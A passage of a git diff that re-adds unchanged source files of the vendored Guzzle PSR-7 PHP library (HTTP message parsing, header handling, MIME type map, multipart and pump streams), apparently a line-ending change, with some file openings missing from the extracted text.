$parts[1], - $data['headers'], - $data['body'], - $version - ); - - return $matches[1] === '/' ? $request : $request->withRequestTarget($parts[1]); - } - - /** - * Parses a response message string into a response object. - * - * @param string $message Response message string. - * - * @return Response - */ - public static function parseResponse($message) - { - $data = self::parseMessage($message); - // According to https://tools.ietf.org/html/rfc7230#section-3.1.2 the space - // between status-code and reason-phrase is required. But browsers accept - // responses without space and reason as well. - if (!preg_match('/^HTTP\/.* [0-9]{3}( .*|$)/', $data['start-line'])) { - throw new \InvalidArgumentException('Invalid response string: ' . $data['start-line']); - } - $parts = explode(' ', $data['start-line'], 3); - - return new Response( - (int) $parts[1], - $data['headers'], - $data['body'], - explode('/', $parts[0])[1], - isset($parts[2]) ? $parts[2] : null - ); - } -} +getMethod() . ' ' + . $message->getRequestTarget()) + . ' HTTP/' . $message->getProtocolVersion(); + if (!$message->hasHeader('host')) { + $msg .= "\r\nHost: " . $message->getUri()->getHost(); + } + } elseif ($message instanceof ResponseInterface) { + $msg = 'HTTP/' . $message->getProtocolVersion() . ' ' + . $message->getStatusCode() . ' ' + . $message->getReasonPhrase(); + } else { + throw new \InvalidArgumentException('Unknown message type'); + } + + foreach ($message->getHeaders() as $name => $values) { + if (strtolower($name) === 'set-cookie') { + foreach ($values as $value) { + $msg .= "\r\n{$name}: " . $value; + } + } else { + $msg .= "\r\n{$name}: " . implode(', ', $values); + } + } + + return "{$msg}\r\n\r\n" . $message->getBody(); + } + + /** + * Get a short summary of the message body. + * + * Will return `null` if the response is not printable. + * + * @param MessageInterface $message The message to get the body summary + * @param int $truncateAt The maximum allowed size of the summary + * + * @return string|null + */ + public static function bodySummary(MessageInterface $message, $truncateAt = 120) + { + $body = $message->getBody(); + + if (!$body->isSeekable() || !$body->isReadable()) { + return null; + } + + $size = $body->getSize(); + + if ($size === 0) { + return null; + } + + $summary = $body->read($truncateAt); + $body->rewind(); + + if ($size > $truncateAt) { + $summary .= ' (truncated...)'; + } + + // Matches any printable character, including unicode characters: + // letters, marks, numbers, punctuation, spacing, and separators. + if (preg_match('/[^\pL\pM\pN\pP\pS\pZ\n\r\t]/u', $summary)) { + return null; + } + + return $summary; + } + + /** + * Attempts to rewind a message body and throws an exception on failure. + * + * The body of the message will only be rewound if a call to `tell()` + * returns a value other than `0`. + * + * @param MessageInterface $message Message to rewind + * + * @throws \RuntimeException + */ + public static function rewindBody(MessageInterface $message) + { + $body = $message->getBody(); + + if ($body->tell()) { + $body->rewind(); + } + } + + /** + * Parses an HTTP message into an associative array. + * + * The array contains the "start-line" key containing the start line of + * the message, "headers" key containing an associative array of header + * array values, and a "body" key containing the body of the message. + * + * @param string $message HTTP request or response to parse. + * + * @return array + */ + public static function parseMessage($message) + { + if (!$message) { + throw new \InvalidArgumentException('Invalid message'); + } + + $message = ltrim($message, "\r\n"); + + $messageParts = preg_split("/\r?\n\r?\n/", $message, 2); + + if ($messageParts === false || count($messageParts) !== 2) { + throw new \InvalidArgumentException('Invalid message: Missing header delimiter'); + } + + list($rawHeaders, $body) = $messageParts; + $rawHeaders .= "\r\n"; // Put back the delimiter we split previously + $headerParts = preg_split("/\r?\n/", $rawHeaders, 2); + + if ($headerParts === false || count($headerParts) !== 2) { + throw new \InvalidArgumentException('Invalid message: Missing status line'); + } + + list($startLine, $rawHeaders) = $headerParts; + + if (preg_match("/(?:^HTTP\/|^[A-Z]+ \S+ HTTP\/)(\d+(?:\.\d+)?)/i", $startLine, $matches) && $matches[1] === '1.0') { + // Header folding is deprecated for HTTP/1.1, but allowed in HTTP/1.0 + $rawHeaders = preg_replace(Rfc7230::HEADER_FOLD_REGEX, ' ', $rawHeaders); + } + + /** @var array[] $headerLines */ + $count = preg_match_all(Rfc7230::HEADER_REGEX, $rawHeaders, $headerLines, PREG_SET_ORDER); + + // If these aren't the same, then one line didn't match and there's an invalid header. + if ($count !== substr_count($rawHeaders, "\n")) { + // Folding is deprecated, see https://tools.ietf.org/html/rfc7230#section-3.2.4 + if (preg_match(Rfc7230::HEADER_FOLD_REGEX, $rawHeaders)) { + throw new \InvalidArgumentException('Invalid header syntax: Obsolete line folding'); + } + + throw new \InvalidArgumentException('Invalid header syntax'); + } + + $headers = []; + + foreach ($headerLines as $headerLine) { + $headers[$headerLine[1]][] = $headerLine[2]; + } + + return [ + 'start-line' => $startLine, + 'headers' => $headers, + 'body' => $body, + ]; + } + + /** + * Constructs a URI for an HTTP request message. + * + * @param string $path Path from the start-line + * @param array $headers Array of headers (each value an array). + * + * @return string + */ + public static function parseRequestUri($path, array $headers) + { + $hostKey = array_filter(array_keys($headers), function ($k) { + return strtolower($k) === 'host'; + }); + + // If no host is found, then a full URI cannot be constructed. + if (!$hostKey) { + return $path; + } + + $host = $headers[reset($hostKey)][0]; + $scheme = substr($host, -4) === ':443' ? 'https' : 'http'; + + return $scheme . '://' . $host . '/' . ltrim($path, '/'); + } + + /** + * Parses a request message string into a request object. + * + * @param string $message Request message string. + * + * @return Request + */ + public static function parseRequest($message) + { + $data = self::parseMessage($message); + $matches = []; + if (!preg_match('/^[\S]+\s+([a-zA-Z]+:\/\/|\/).*/', $data['start-line'], $matches)) { + throw new \InvalidArgumentException('Invalid request string'); + } + $parts = explode(' ', $data['start-line'], 3); + $version = isset($parts[2]) ? explode('/', $parts[2])[1] : '1.1'; + + $request = new Request( + $parts[0], + $matches[1] === '/' ? self::parseRequestUri($parts[1], $data['headers']) : $parts[1], + $data['headers'], + $data['body'], + $version + ); + + return $matches[1] === '/' ? $request : $request->withRequestTarget($parts[1]); + } + + /** + * Parses a response message string into a response object. + * + * @param string $message Response message string. + * + * @return Response + */ + public static function parseResponse($message) + { + $data = self::parseMessage($message); + // According to https://tools.ietf.org/html/rfc7230#section-3.1.2 the space + // between status-code and reason-phrase is required. But browsers accept + // responses without space and reason as well. + if (!preg_match('/^HTTP\/.* [0-9]{3}( .*|$)/', $data['start-line'])) { + throw new \InvalidArgumentException('Invalid response string: ' . $data['start-line']); + } + $parts = explode(' ', $data['start-line'], 3); + + return new Response( + (int) $parts[1], + $data['headers'], + $data['body'], + explode('/', $parts[0])[1], + isset($parts[2]) ? $parts[2] : null + ); + } +} diff --git a/vendor/guzzlehttp/psr7/src/MessageTrait.php b/vendor/guzzlehttp/psr7/src/MessageTrait.php index 8a64b6ec60..99203bb43a 100644 --- a/vendor/guzzlehttp/psr7/src/MessageTrait.php +++ b/vendor/guzzlehttp/psr7/src/MessageTrait.php @@ -1,214 +1,214 @@ - array of values */ - private $headers = []; - - /** @var array Map of lowercase header name => original name at registration */ - private $headerNames = []; - - /** @var string */ - private $protocol = '1.1'; - - /** @var StreamInterface|null */ - private $stream; - - public function getProtocolVersion() - { - return $this->protocol; - } - - public function withProtocolVersion($version) - { - if ($this->protocol === $version) { - return $this; - } - - $new = clone $this; - $new->protocol = $version; - return $new; - } - - public function getHeaders() - { - return $this->headers; - } - - public function hasHeader($header) - { - return isset($this->headerNames[strtolower($header)]); - } - - public function getHeader($header) - { - $header = strtolower($header); - - if (!isset($this->headerNames[$header])) { - return []; - } - - $header = $this->headerNames[$header]; - - return $this->headers[$header]; - } - - public function getHeaderLine($header) - { - return implode(', ', $this->getHeader($header)); - } - - public function withHeader($header, $value) - { - $this->assertHeader($header); - $value = $this->normalizeHeaderValue($value); - $normalized = strtolower($header); - - $new = clone $this; - if (isset($new->headerNames[$normalized])) { - unset($new->headers[$new->headerNames[$normalized]]); - } - $new->headerNames[$normalized] = $header; - $new->headers[$header] = $value; - - return $new; - } - - public function withAddedHeader($header, $value) - { - $this->assertHeader($header); - $value = $this->normalizeHeaderValue($value); - $normalized = strtolower($header); - - $new = clone $this; - if (isset($new->headerNames[$normalized])) { - $header = $this->headerNames[$normalized]; - $new->headers[$header] = array_merge($this->headers[$header], $value); - } else { - $new->headerNames[$normalized] = $header; - $new->headers[$header] = $value; - } - - return $new; - } - - public function withoutHeader($header) - { - $normalized = strtolower($header); - - if (!isset($this->headerNames[$normalized])) { - return $this; - } - - $header = $this->headerNames[$normalized]; - - $new = clone $this; - unset($new->headers[$header], $new->headerNames[$normalized]); - - return $new; - } - - public function getBody() - { - if (!$this->stream) { - $this->stream = Utils::streamFor(''); - } - - return $this->stream; - } - - public function withBody(StreamInterface $body) - { - if ($body === $this->stream) { - return $this; - } - - $new = clone $this; - $new->stream = $body; - return $new; - } - - private function setHeaders(array $headers) - { - $this->headerNames = $this->headers = []; - foreach ($headers as $header => $value) { - if (is_int($header)) { - // Numeric array keys are converted to int by PHP but having a header name '123' is not forbidden by the spec - // and also allowed in withHeader(). So we need to cast it to string again for the following assertion to pass. - $header = (string) $header; - } - $this->assertHeader($header); - $value = $this->normalizeHeaderValue($value); - $normalized = strtolower($header); - if (isset($this->headerNames[$normalized])) { - $header = $this->headerNames[$normalized]; - $this->headers[$header] = array_merge($this->headers[$header], $value); - } else { - $this->headerNames[$normalized] = $header; - $this->headers[$header] = $value; - } - } - } - - private function normalizeHeaderValue($value) - { - if (!is_array($value)) { - return $this->trimHeaderValues([$value]); - } - - if (count($value) === 0) { - throw new \InvalidArgumentException('Header value can not be an empty array.'); - } - - return $this->trimHeaderValues($value); - } - - /** - * Trims whitespace from the header values. - * - * Spaces and tabs ought to be excluded by parsers when extracting the field value from a header field. - * - * header-field = field-name ":" OWS field-value OWS - * OWS = *( SP / HTAB ) - * - * @param string[] $values Header values - * - * @return string[] Trimmed header values - * - * @see https://tools.ietf.org/html/rfc7230#section-3.2.4 - */ - private function trimHeaderValues(array $values) - { - return array_map(function ($value) { - if (!is_scalar($value) && null !== $value) { - throw new \InvalidArgumentException(sprintf( - 'Header value must be scalar or null but %s provided.', - is_object($value) ? get_class($value) : gettype($value) - )); - } - - return trim((string) $value, " \t"); - }, array_values($values)); - } - - private function assertHeader($header) - { - if (!is_string($header)) { - throw new \InvalidArgumentException(sprintf( - 'Header name must be a string but %s provided.', - is_object($header) ? get_class($header) : gettype($header) - )); - } - - if ($header === '') { - throw new \InvalidArgumentException('Header name can not be empty.'); - } - } -} + array of values */ + private $headers = []; + + /** @var array Map of lowercase header name => original name at registration */ + private $headerNames = []; + + /** @var string */ + private $protocol = '1.1'; + + /** @var StreamInterface|null */ + private $stream; + + public function getProtocolVersion() + { + return $this->protocol; + } + + public function withProtocolVersion($version) + { + if ($this->protocol === $version) { + return $this; + } + + $new = clone $this; + $new->protocol = $version; + return $new; + } + + public function getHeaders() + { + return $this->headers; + } + + public function hasHeader($header) + { + return isset($this->headerNames[strtolower($header)]); + } + + public function getHeader($header) + { + $header = strtolower($header); + + if (!isset($this->headerNames[$header])) { + return []; + } + + $header = $this->headerNames[$header]; + + return $this->headers[$header]; + } + + public function getHeaderLine($header) + { + return implode(', ', $this->getHeader($header)); + } + + public function withHeader($header, $value) + { + $this->assertHeader($header); + $value = $this->normalizeHeaderValue($value); + $normalized = strtolower($header); + + $new = clone $this; + if (isset($new->headerNames[$normalized])) { + unset($new->headers[$new->headerNames[$normalized]]); + } + $new->headerNames[$normalized] = $header; + $new->headers[$header] = $value; + + return $new; + } + + public function withAddedHeader($header, $value) + { + $this->assertHeader($header); + $value = $this->normalizeHeaderValue($value); + $normalized = strtolower($header); + + $new = clone $this; + if (isset($new->headerNames[$normalized])) { + $header = $this->headerNames[$normalized]; + $new->headers[$header] = array_merge($this->headers[$header], $value); + } else { + $new->headerNames[$normalized] = $header; + $new->headers[$header] = $value; + } + + return $new; + } + + public function withoutHeader($header) + { + $normalized = strtolower($header); + + if (!isset($this->headerNames[$normalized])) { + return $this; + } + + $header = $this->headerNames[$normalized]; + + $new = clone $this; + unset($new->headers[$header], $new->headerNames[$normalized]); + + return $new; + } + + public function getBody() + { + if (!$this->stream) { + $this->stream = Utils::streamFor(''); + } + + return $this->stream; + } + + public function withBody(StreamInterface $body) + { + if ($body === $this->stream) { + return $this; + } + + $new = clone $this; + $new->stream = $body; + return $new; + } + + private function setHeaders(array $headers) + { + $this->headerNames = $this->headers = []; + foreach ($headers as $header => $value) { + if (is_int($header)) { + // Numeric array keys are converted to int by PHP but having a header name '123' is not forbidden by the spec + // and also allowed in withHeader(). So we need to cast it to string again for the following assertion to pass. + $header = (string) $header; + } + $this->assertHeader($header); + $value = $this->normalizeHeaderValue($value); + $normalized = strtolower($header); + if (isset($this->headerNames[$normalized])) { + $header = $this->headerNames[$normalized]; + $this->headers[$header] = array_merge($this->headers[$header], $value); + } else { + $this->headerNames[$normalized] = $header; + $this->headers[$header] = $value; + } + } + } + + private function normalizeHeaderValue($value) + { + if (!is_array($value)) { + return $this->trimHeaderValues([$value]); + } + + if (count($value) === 0) { + throw new \InvalidArgumentException('Header value can not be an empty array.'); + } + + return $this->trimHeaderValues($value); + } + + /** + * Trims whitespace from the header values. + * + * Spaces and tabs ought to be excluded by parsers when extracting the field value from a header field. + * + * header-field = field-name ":" OWS field-value OWS + * OWS = *( SP / HTAB ) + * + * @param string[] $values Header values + * + * @return string[] Trimmed header values + * + * @see https://tools.ietf.org/html/rfc7230#section-3.2.4 + */ + private function trimHeaderValues(array $values) + { + return array_map(function ($value) { + if (!is_scalar($value) && null !== $value) { + throw new \InvalidArgumentException(sprintf( + 'Header value must be scalar or null but %s provided.', + is_object($value) ? get_class($value) : gettype($value) + )); + } + + return trim((string) $value, " \t"); + }, array_values($values)); + } + + private function assertHeader($header) + { + if (!is_string($header)) { + throw new \InvalidArgumentException(sprintf( + 'Header name must be a string but %s provided.', + is_object($header) ? get_class($header) : gettype($header) + )); + } + + if ($header === '') { + throw new \InvalidArgumentException('Header name can not be empty.'); + } + } +} diff --git a/vendor/guzzlehttp/psr7/src/MimeType.php b/vendor/guzzlehttp/psr7/src/MimeType.php index b4f5187122..205c7b1fa6 100644 --- a/vendor/guzzlehttp/psr7/src/MimeType.php +++ b/vendor/guzzlehttp/psr7/src/MimeType.php @@ -1,140 +1,140 @@ - 'video/3gpp', - '7z' => 'application/x-7z-compressed', - 'aac' => 'audio/x-aac', - 'ai' => 'application/postscript', - 'aif' => 'audio/x-aiff', - 'asc' => 'text/plain', - 'asf' => 'video/x-ms-asf', - 'atom' => 'application/atom+xml', - 'avi' => 'video/x-msvideo', - 'bmp' => 'image/bmp', - 'bz2' => 'application/x-bzip2', - 'cer' => 'application/pkix-cert', - 'crl' => 'application/pkix-crl', - 'crt' => 'application/x-x509-ca-cert', - 'css' => 'text/css', - 'csv' => 'text/csv', - 'cu' => 'application/cu-seeme', - 'deb' => 'application/x-debian-package', - 'doc' => 'application/msword', - 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', - 'dvi' => 'application/x-dvi', - 'eot' => 'application/vnd.ms-fontobject', - 'eps' => 'application/postscript', - 'epub' => 'application/epub+zip', - 'etx' => 'text/x-setext', - 'flac' => 'audio/flac', - 'flv' => 'video/x-flv', - 'gif' => 'image/gif', - 'gz' => 'application/gzip', - 'htm' => 'text/html', - 'html' => 'text/html', - 'ico' => 'image/x-icon', - 'ics' => 'text/calendar', - 'ini' => 'text/plain', - 'iso' => 'application/x-iso9660-image', - 'jar' => 'application/java-archive', - 'jpe' => 'image/jpeg', - 'jpeg' => 'image/jpeg', - 'jpg' => 'image/jpeg', - 'js' => 'text/javascript', - 'json' => 'application/json', - 'latex' => 'application/x-latex', - 'log' => 'text/plain', - 'm4a' => 'audio/mp4', - 'm4v' => 'video/mp4', - 'mid' => 'audio/midi', - 'midi' => 'audio/midi', - 'mov' => 'video/quicktime', - 'mkv' => 'video/x-matroska', - 'mp3' => 'audio/mpeg', - 'mp4' => 'video/mp4', - 'mp4a' => 'audio/mp4', - 'mp4v' => 'video/mp4', - 'mpe' => 'video/mpeg', - 'mpeg' => 'video/mpeg', - 'mpg' => 'video/mpeg', - 'mpg4' => 'video/mp4', - 'oga' => 'audio/ogg', - 'ogg' => 'audio/ogg', - 'ogv' => 'video/ogg', - 'ogx' => 'application/ogg', - 'pbm' => 'image/x-portable-bitmap', - 'pdf' => 'application/pdf', - 'pgm' => 'image/x-portable-graymap', - 'png' => 'image/png', - 'pnm' => 'image/x-portable-anymap', - 'ppm' => 'image/x-portable-pixmap', - 'ppt' => 'application/vnd.ms-powerpoint', - 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', - 'ps' => 'application/postscript', - 'qt' => 'video/quicktime', - 'rar' => 'application/x-rar-compressed', - 'ras' => 'image/x-cmu-raster', - 'rss' => 'application/rss+xml', - 'rtf' => 'application/rtf', - 'sgm' => 'text/sgml', - 'sgml' => 'text/sgml', - 'svg' => 'image/svg+xml', - 'swf' => 'application/x-shockwave-flash', - 'tar' => 'application/x-tar', - 'tif' => 'image/tiff', - 'tiff' => 'image/tiff', - 'torrent' => 'application/x-bittorrent', - 'ttf' => 'application/x-font-ttf', - 'txt' => 'text/plain', - 'wav' => 'audio/x-wav', - 'webm' => 'video/webm', - 'webp' => 'image/webp', - 'wma' => 'audio/x-ms-wma', - 'wmv' => 'video/x-ms-wmv', - 'woff' => 'application/x-font-woff', - 'wsdl' => 'application/wsdl+xml', - 'xbm' => 'image/x-xbitmap', - 'xls' => 'application/vnd.ms-excel', - 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', - 'xml' => 'application/xml', - 'xpm' => 'image/x-xpixmap', - 'xwd' => 'image/x-xwindowdump', - 'yaml' => 'text/yaml', - 'yml' => 'text/yaml', - 'zip' => 'application/zip', - ]; - - $extension = strtolower($extension); - - return isset($mimetypes[$extension]) - ? $mimetypes[$extension] - : null; - } -} + 'video/3gpp', + '7z' => 'application/x-7z-compressed', + 'aac' => 'audio/x-aac', + 'ai' => 'application/postscript', + 'aif' => 'audio/x-aiff', + 'asc' => 'text/plain', + 'asf' => 'video/x-ms-asf', + 'atom' => 'application/atom+xml', + 'avi' => 'video/x-msvideo', + 'bmp' => 'image/bmp', + 'bz2' => 'application/x-bzip2', + 'cer' => 'application/pkix-cert', + 'crl' => 'application/pkix-crl', + 'crt' => 'application/x-x509-ca-cert', + 'css' => 'text/css', + 'csv' => 'text/csv', + 'cu' => 'application/cu-seeme', + 'deb' => 'application/x-debian-package', + 'doc' => 'application/msword', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'dvi' => 'application/x-dvi', + 'eot' => 'application/vnd.ms-fontobject', + 'eps' => 'application/postscript', + 'epub' => 'application/epub+zip', + 'etx' => 'text/x-setext', + 'flac' => 'audio/flac', + 'flv' => 'video/x-flv', + 'gif' => 'image/gif', + 'gz' => 'application/gzip', + 'htm' => 'text/html', + 'html' => 'text/html', + 'ico' => 'image/x-icon', + 'ics' => 'text/calendar', + 'ini' => 'text/plain', + 'iso' => 'application/x-iso9660-image', + 'jar' => 'application/java-archive', + 'jpe' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'js' => 'text/javascript', + 'json' => 'application/json', + 'latex' => 'application/x-latex', + 'log' => 'text/plain', + 'm4a' => 'audio/mp4', + 'm4v' => 'video/mp4', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mov' => 'video/quicktime', + 'mkv' => 'video/x-matroska', + 'mp3' => 'audio/mpeg', + 'mp4' => 'video/mp4', + 'mp4a' => 'audio/mp4', + 'mp4v' => 'video/mp4', + 'mpe' => 'video/mpeg', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpg4' => 'video/mp4', + 'oga' => 'audio/ogg', + 'ogg' => 'audio/ogg', + 'ogv' => 'video/ogg', + 'ogx' => 'application/ogg', + 'pbm' => 'image/x-portable-bitmap', + 'pdf' => 'application/pdf', + 'pgm' => 'image/x-portable-graymap', + 'png' => 'image/png', + 'pnm' => 'image/x-portable-anymap', + 'ppm' => 'image/x-portable-pixmap', + 'ppt' => 'application/vnd.ms-powerpoint', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'ps' => 'application/postscript', + 'qt' => 'video/quicktime', + 'rar' => 'application/x-rar-compressed', + 'ras' => 'image/x-cmu-raster', + 'rss' => 'application/rss+xml', + 'rtf' => 'application/rtf', + 'sgm' => 'text/sgml', + 'sgml' => 'text/sgml', + 'svg' => 'image/svg+xml', + 'swf' => 'application/x-shockwave-flash', + 'tar' => 'application/x-tar', + 'tif' => 'image/tiff', + 'tiff' => 'image/tiff', + 'torrent' => 'application/x-bittorrent', + 'ttf' => 'application/x-font-ttf', + 'txt' => 'text/plain', + 'wav' => 'audio/x-wav', + 'webm' => 'video/webm', + 'webp' => 'image/webp', + 'wma' => 'audio/x-ms-wma', + 'wmv' => 'video/x-ms-wmv', + 'woff' => 'application/x-font-woff', + 'wsdl' => 'application/wsdl+xml', + 'xbm' => 'image/x-xbitmap', + 'xls' => 'application/vnd.ms-excel', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xml' => 'application/xml', + 'xpm' => 'image/x-xpixmap', + 'xwd' => 'image/x-xwindowdump', + 'yaml' => 'text/yaml', + 'yml' => 'text/yaml', + 'zip' => 'application/zip', + ]; + + $extension = strtolower($extension); + + return isset($mimetypes[$extension]) + ? $mimetypes[$extension] + : null; + } +} diff --git a/vendor/guzzlehttp/psr7/src/MultipartStream.php b/vendor/guzzlehttp/psr7/src/MultipartStream.php index eeba99ccad..5a6079a89f 100644 --- a/vendor/guzzlehttp/psr7/src/MultipartStream.php +++ b/vendor/guzzlehttp/psr7/src/MultipartStream.php @@ -1,158 +1,158 @@ -boundary = $boundary ?: sha1(uniqid('', true)); - $this->stream = $this->createStream($elements); - } - - /** - * Get the boundary - * - * @return string - */ - public function getBoundary() - { - return $this->boundary; - } - - public function isWritable() - { - return false; - } - - /** - * Get the headers needed before transferring the content of a POST file - */ - private function getHeaders(array $headers) - { - $str = ''; - foreach ($headers as $key => $value) { - $str .= "{$key}: {$value}\r\n"; - } - - return "--{$this->boundary}\r\n" . trim($str) . "\r\n\r\n"; - } - - /** - * Create the aggregate stream that will be used to upload the POST data - */ - protected function createStream(array $elements) - { - $stream = new AppendStream(); - - foreach ($elements as $element) { - $this->addElement($stream, $element); - } - - // Add the trailing boundary with CRLF - $stream->addStream(Utils::streamFor("--{$this->boundary}--\r\n")); - - return $stream; - } - - private function addElement(AppendStream $stream, array $element) - { - foreach (['contents', 'name'] as $key) { - if (!array_key_exists($key, $element)) { - throw new \InvalidArgumentException("A '{$key}' key is required"); - } - } - - $element['contents'] = Utils::streamFor($element['contents']); - - if (empty($element['filename'])) { - $uri = $element['contents']->getMetadata('uri'); - if (substr($uri, 0, 6) !== 'php://') { - $element['filename'] = $uri; - } - } - - list($body, $headers) = $this->createElement( - $element['name'], - $element['contents'], - isset($element['filename']) ? $element['filename'] : null, - isset($element['headers']) ? $element['headers'] : [] - ); - - $stream->addStream(Utils::streamFor($this->getHeaders($headers))); - $stream->addStream($body); - $stream->addStream(Utils::streamFor("\r\n")); - } - - /** - * @return array - */ - private function createElement($name, StreamInterface $stream, $filename, array $headers) - { - // Set a default content-disposition header if one was no provided - $disposition = $this->getHeader($headers, 'content-disposition'); - if (!$disposition) { - $headers['Content-Disposition'] = ($filename === '0' || $filename) - ? sprintf( - 'form-data; name="%s"; filename="%s"', - $name, - basename($filename) - ) - : "form-data; name=\"{$name}\""; - } - - // Set a default content-length header if one was no provided - $length = $this->getHeader($headers, 'content-length'); - if (!$length) { - if ($length = $stream->getSize()) { - $headers['Content-Length'] = (string) $length; - } - } - - // Set a default Content-Type if one was not supplied - $type = $this->getHeader($headers, 'content-type'); - if (!$type && ($filename === '0' || $filename)) { - if ($type = MimeType::fromFilename($filename)) { - $headers['Content-Type'] = $type; - } - } - - return [$stream, $headers]; - } - - private function getHeader(array $headers, $key) - { - $lowercaseHeader = strtolower($key); - foreach ($headers as $k => $v) { - if (strtolower($k) === $lowercaseHeader) { - return $v; - } - } - - return null; - } -} +boundary = $boundary ?: sha1(uniqid('', true)); + $this->stream = $this->createStream($elements); + } + + /** + * Get the boundary + * + * @return string + */ + public function getBoundary() + { + return $this->boundary; + } + + public function isWritable() + { + return false; + } + + /** + * Get the headers needed before transferring the content of a POST file + */ + private function getHeaders(array $headers) + { + $str = ''; + foreach ($headers as $key => $value) { + $str .= "{$key}: {$value}\r\n"; + } + + return "--{$this->boundary}\r\n" . trim($str) . "\r\n\r\n"; + } + + /** + * Create the aggregate stream that will be used to upload the POST data + */ + protected function createStream(array $elements) + { + $stream = new AppendStream(); + + foreach ($elements as $element) { + $this->addElement($stream, $element); + } + + // Add the trailing boundary with CRLF + $stream->addStream(Utils::streamFor("--{$this->boundary}--\r\n")); + + return $stream; + } + + private function addElement(AppendStream $stream, array $element) + { + foreach (['contents', 'name'] as $key) { + if (!array_key_exists($key, $element)) { + throw new \InvalidArgumentException("A '{$key}' key is required"); + } + } + + $element['contents'] = Utils::streamFor($element['contents']); + + if (empty($element['filename'])) { + $uri = $element['contents']->getMetadata('uri'); + if (substr($uri, 0, 6) !== 'php://') { + $element['filename'] = $uri; + } + } + + list($body, $headers) = $this->createElement( + $element['name'], + $element['contents'], + isset($element['filename']) ? $element['filename'] : null, + isset($element['headers']) ? $element['headers'] : [] + ); + + $stream->addStream(Utils::streamFor($this->getHeaders($headers))); + $stream->addStream($body); + $stream->addStream(Utils::streamFor("\r\n")); + } + + /** + * @return array + */ + private function createElement($name, StreamInterface $stream, $filename, array $headers) + { + // Set a default content-disposition header if one was no provided + $disposition = $this->getHeader($headers, 'content-disposition'); + if (!$disposition) { + $headers['Content-Disposition'] = ($filename === '0' || $filename) + ? sprintf( + 'form-data; name="%s"; filename="%s"', + $name, + basename($filename) + ) + : "form-data; name=\"{$name}\""; + } + + // Set a default content-length header if one was no provided + $length = $this->getHeader($headers, 'content-length'); + if (!$length) { + if ($length = $stream->getSize()) { + $headers['Content-Length'] = (string) $length; + } + } + + // Set a default Content-Type if one was not supplied + $type = $this->getHeader($headers, 'content-type'); + if (!$type && ($filename === '0' || $filename)) { + if ($type = MimeType::fromFilename($filename)) { + $headers['Content-Type'] = $type; + } + } + + return [$stream, $headers]; + } + + private function getHeader(array $headers, $key) + { + $lowercaseHeader = strtolower($key); + foreach ($headers as $k => $v) { + if (strtolower($k) === $lowercaseHeader) { + return $v; + } + } + + return null; + } +} diff --git a/vendor/guzzlehttp/psr7/src/NoSeekStream.php b/vendor/guzzlehttp/psr7/src/NoSeekStream.php index caf7131112..d66bdde460 100644 --- a/vendor/guzzlehttp/psr7/src/NoSeekStream.php +++ b/vendor/guzzlehttp/psr7/src/NoSeekStream.php @@ -1,25 +1,25 @@ -source = $source; - $this->size = isset($options['size']) ? $options['size'] : null; - $this->metadata = isset($options['metadata']) ? $options['metadata'] : []; - $this->buffer = new BufferStream(); - } - - public function __toString() - { - try { - return Utils::copyToString($this); - } catch (\Exception $e) { - return ''; - } - } - - public function close() - { - $this->detach(); - } - - public function detach() - { - $this->tellPos = false; - $this->source = null; - - return null; - } - - public function getSize() - { - return $this->size; - } - - public function tell() - { - return $this->tellPos; - } - - public function eof() - { - return !$this->source; - } - - public function isSeekable() - { - return false; - } - - public function rewind() - { - $this->seek(0); - } - - public function seek($offset, $whence = SEEK_SET) - { - throw new \RuntimeException('Cannot seek a PumpStream'); - } - - public function isWritable() - { - return false; - } - - public function write($string) - { - throw new \RuntimeException('Cannot write to a PumpStream'); - } - - public function isReadable() - { - return true; - } - - public function read($length) - { - $data = $this->buffer->read($length); - $readLen = strlen($data); - $this->tellPos += $readLen; - $remaining = $length - $readLen; - - if ($remaining) { - $this->pump($remaining); - $data .= $this->buffer->read($remaining); - $this->tellPos += strlen($data) - $readLen; - } - - return $data; - } - - public function getContents() - { - $result = ''; - while (!$this->eof()) { - $result .= $this->read(1000000); - } - - return $result; - } - - public function getMetadata($key = null) - { - if (!$key) { - return $this->metadata; - } - - return isset($this->metadata[$key]) ? $this->metadata[$key] : null; - } - - private function pump($length) - { - if ($this->source) { - do { - $data = call_user_func($this->source, $length); - if ($data === false || $data === null) { - $this->source = null; - return; - } - $this->buffer->write($data); - $length -= strlen($data); - } while ($length > 0); - } - } -} +source = $source; + $this->size = isset($options['size']) ? $options['size'] : null; + $this->metadata = isset($options['metadata']) ? $options['metadata'] : []; + $this->buffer = new BufferStream(); + } + + public function __toString() + { + try { + return Utils::copyToString($this); + } catch (\Exception $e) { + return ''; + } + } + + public function close() + { + $this->detach(); + } + + public function detach() + { + $this->tellPos = false; + $this->source = null; + + return null; + } + + public function getSize() + { + return $this->size; + } + + public function tell() + { + return $this->tellPos; + } + + public function eof() + { + return !$this->source; + } + + public function isSeekable() + { + return false; + } + + public function rewind() + { + $this->seek(0); + } + + public function seek($offset, $whence = SEEK_SET) + { + throw new \RuntimeException('Cannot seek a PumpStream'); + } + + public function isWritable() + { + return false; + } + + public function write($string) + { + throw new \RuntimeException('Cannot write to a PumpStream'); + } + + public function isReadable() + { + return true; + } + + public function read($length) + { + $data = $this->buffer->read($length); + $readLen = strlen($data); + $this->tellPos += $readLen; + $remaining = $length - $readLen; + + if ($remaining) { + $this->pump($remaining); + $data .= $this->buffer->read($remaining); + $this->tellPos += strlen($data) - $readLen; + } + + return $data; + } + + public function getContents() + { + $result = ''; + while (!$this->eof()) { + $result .= $this->read(1000000); + } + + return $result; + } + + public function getMetadata($key = null) + { + if (!$key) { + return $this->metadata; + } + + return isset($this->metadata[$key]) ? $this->metadata[$key] : null; + } + + private function pump($length) + { + if ($this->source) { + do { + $data = call_user_func($this->source, $length); + if ($data === false || $data === null) { + $this->source = null; + return; + } + $this->buffer->write($data); + $length -= strlen($data); + } while ($length > 0); + } + } +} diff --git a/vendor/guzzlehttp/psr7/src/Query.php b/vendor/guzzlehttp/psr7/src/Query.php index 34eb27394d..5a7cc0359e 100644 --- a/vendor/guzzlehttp/psr7/src/Query.php 